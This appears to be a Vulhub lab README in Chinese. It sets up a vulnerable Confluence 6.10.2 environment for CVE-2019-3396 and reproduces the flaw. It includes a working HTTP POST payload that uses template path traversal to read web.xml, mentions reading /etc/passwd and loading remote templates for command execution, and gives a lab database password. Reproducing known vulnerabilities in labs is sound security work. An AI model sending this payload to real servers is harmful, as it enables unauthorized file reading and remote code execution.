Files
vulhub/confluence/CVE-2019-3396/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

58 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Atlassian Confluence 路径穿越导致远程代码执行漏洞CVE-2019-3396
Atlassian Confluence是企业广泛使用的wiki系统其6.14.2版本前存在一处未授权的目录穿越漏洞通过该漏洞攻击者可以读取任意文件或利用Velocity模板注入执行任意命令。
参考资料:
- https://paper.seebug.org/884/
- https://jira.atlassian.com/browse/CONFSERVER-57974
## 环境搭建
执行如下命令启动一个Confluence Server 6.10.2
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8090`会进入安装引导选择“Trial installation”之后会要求填写license key。点击“Get an evaluation license”去Atlassian官方申请一个Confluence Server的测试证书
![](1.png)
然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长建议使用4G内存以上的机器进行安装与测试请耐心等待。
如果提示填写cluster node路径填写`/home/confluence`即可:
![](4.png)
后续可能要求你填写数据库账号密码选择postgres数据库地址为`db`,账号密码均为`postgres`
![](5.png)
## 漏洞复现
发送如下数据包,即可读取文件`web.xml`
```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
```
![](6.png)
6.12以前的Confluence没有限制文件读取的协议和路径我们可以使用`file:///etc/passwd`来读取文件,也可以通过`https://...`来加载远程文件。
该文件是一个Velocity模板我们可以通过模板注入SSTI来执行任意命令
![](7.png)